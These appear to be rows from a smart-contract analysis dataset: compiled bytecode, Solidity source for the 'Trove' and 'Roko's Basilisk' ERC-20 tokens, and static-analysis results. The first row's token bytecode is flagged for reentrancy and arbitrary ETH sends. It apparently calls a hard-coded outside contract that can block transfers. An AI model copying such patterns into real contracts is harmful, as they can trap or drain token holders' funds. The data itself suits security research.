009546001600160a01b0316331461079257600080fd5b61079e6006600a61173d565b6107ad9064077359400061174c565b600a55565b6009546001600160a01b031633146107c957600080fd5b60006107d430610860565b905061077881610e60565b6009546001600160a01b031633146107f657600080fd5b600c54600160a01b900460ff1661084f5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046f565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037190610fda565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093d57600080fd5b6008811061094a57600080fd5b600855565b600061036d338484610aea565b6009546001600160a01b0316331461097357600080fd5b4761077881611057565b60006109bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611095565b9392505050565b6001600160a01b038316610a285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b60008111610c125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8591906117d8565b600c546001600160a01b038481169116148015610cb05750600b546001600160a01b03858116911614155b610cbb576000610cbd565b815b1115610cc857600080fd5b6000546001600160a01b03848116911614801590610cf457506000546001600160a01b03838116911614155b15610e1657600c546001600160a01b038481169116148015610d245750600b546001600160a01b03838116911614155b8015610d4957506001600160a01b03821660009081526004602052604090205460ff16155b15610d9f57600a548110610d9f5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046f565b6000610daa30610860565b600c54909150600160a81b900460ff16158015610dd55750600c546001600160a01b03858116911614155b8015610dea5750600c54600160b01b900460ff165b15610e1457610df881610e60565b47670de0b6b3a7640000811115610e1257610e1247611057565b505b505b610e218383836110c3565b505050565b60008184841115610e4a5760405162461bcd60e51b815260040161046f91906114fd565b506000610e5784866117f1565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea857610ea8611808565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f25919061176b565b81600181518110610f3857610f38611808565b6001600160a01b039283166020918202929092010152600b54610f5e91309116846109c6565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9790859060009086903090429060040161181e565b600060405180830381600087803b158015610fb157600080fd5b505af1158015610fc5573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110415760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046f565b600061104b6110ce565b90506109bf838261097d565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611091573d6000803e3d6000fd5b5050565b600081836110b65760405162461bcd60e51b815260040161046f91906114fd565b506000610e57848661188f565b610e218383836110f1565b60008060006110db6111e8565b90925090506110ea828261097d565b9250505090565b6000806000806000806111038761126d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113590876112ca565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611164908661130c565b6001600160a01b0389166000908152600260205260409020556111868161136b565b61119084836113b5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d591815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fd6006600a61173d565b61120c9064077359400061174c565b905061123561121d6006600a61173d565b61122c9064077359400061174c565b6005549061097d565b8210156112645760055461124b6006600a61173d565b61125a9064077359400061174c565b9350935050509091565b90939092509050565b600080600080600080600080600061128a8a6007546008546113d9565b925092509250600061129a6110ce565b905060008060006112ad8e87878761142e565b919e509c509a509598509396509194505050505091939550919395565b60006109bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e26565b60008061131983856118b1565b9050838110156109bf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b60006113756110ce565b90506000611383838361147e565b306000908152600260205260409020549091506113a0908261130c565b30600090815260026020526040902055505050565b6005546113c290836112ca565b6005556006546113d2908261130c565b6006555050565b60008080806113f360646113ed898961147e565b9061097d565b9050600061140660646113ed8a8961147e565b9050600061141e826114188b866112ca565b906112ca565b9992985090965090945050505050565b600080808061143d888661147e565b9050600061144b888761147e565b90506000611459888861147e565b9050600061146b8261141886866112ca565b939b939a50919850919650505050505050565b60008261148d57506000610371565b6000611499838561174c565b9050826114a6858361188f565b146109bf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b600060208083528351808285015260005b8181101561152a5785810183015185820160400152820161150e565b8181111561153c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077857600080fd5b6000806040838503121561157a57600080fd5b823561158581611552565b946020939093013593505050565b6000806000606084860312156115a857600080fd5b83356115b381611552565b925060208401356115c381611552565b929592945050506040919091013590565b6000602082840312156115e657600080fd5b81356109bf81611552565b60006020828403121561160357600080fd5b5035919050565b6000806040838503121561161d57600080fd5b823561162881611552565b9150602083013561163881611552565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169457816000190482111561167a5761167a611643565b8085161561168757918102915b93841c939080029061165e565b509250929050565b6000826116ab57506001610371565b816116b857506000610371565b81600181146116ce57600281146116d8576116f4565b6001915050610371565b60ff8411156116e9576116e9611643565b50506001821b610371565b5060208310610133831016604e8410600b8410161715611717575081810a610371565b6117218383611659565b806000190482111561173557611735611643565b029392505050565b60006109bf60ff84168361169c565b600081600019048311821515161561176657611766611643565b500290565b60006020828403121561177d57600080fd5b81516109bf81611552565b60008060006060848603121561179d57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c857600080fd5b815180151581146109bf57600080fd5b6000602082840312156117ea57600080fd5b5051919050565b60008282101561180357611803611643565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186e5784516001600160a01b031683529383019391830191600101611849565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118ac57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c4576118c4611643565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd8eb212be51e0d8ea0f182dd49e5d53259e546b21c7e30e2b7d791764c291e364736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,429
0xc2646eda7c2d4bf131561141c1d5696c4f01eb53
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Trove is BurnableToken, StandardToken { string public name = "Trove"; string public symbol = "TRV"; uint8 public decimals = 18; constructor() public { totalSupply_ = 1e29; balances[msg.sender] = 1e29; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce5671461026457806342966c681461029557806366188463146102c257806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063d73dd62314610473578063dd62ed3e146104d8575b600080fd5b3480156100cb57600080fd5b506100d461054f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ed565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106df565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e9565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610aa3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102c060048036038101908080359060200190929190505050610ab6565b005b3480156102ce57600080fd5b5061030d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac3565b604051808215151515815260200191505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d54565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610d9c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e3a565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b506104be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611059565b604051808215151515815260200191505060405180910390f35b3480156104e457600080fd5b50610539600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611255565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e55780601f106105ba576101008083540402835291602001916105e5565b820191906000526020600020905b8154815290600101906020018083116105c857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561072657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107fe57600080fd5b61084f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112dc90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112dc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b610ac03382611311565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bd4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c68565b610be783826112dc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e325780601f10610e0757610100808354040283529160200191610e32565b820191906000526020600020905b815481529060010190602001808311610e1557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e7757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ec457600080fd5b610f15826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112dc90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fa8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110ea82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112ea57fe5b818303905092915050565b6000818301905082811015151561130857fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561135e57600080fd5b6113af816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112dc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611406816001546112dc90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a7230582040b08c17f559dd978c9308271ed1adc10204305c80bf556bb61f4198b3b920dd0029
{"success": true, "error": null, "results": {}}
7,430
0x2a7083897496f537bb3999ba1f7666965f4afb05
/** *Submitted for verification at Etherscan.io on 2021-06-15 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Roko's Basilisk' contract // // Symbol : ROKO // Name : Roko's Basilisk // Total supply: 10000000000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract ROKO is BurnableToken { string public constant name = "Roko's Basilisk"; string public constant symbol = "ROKO"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
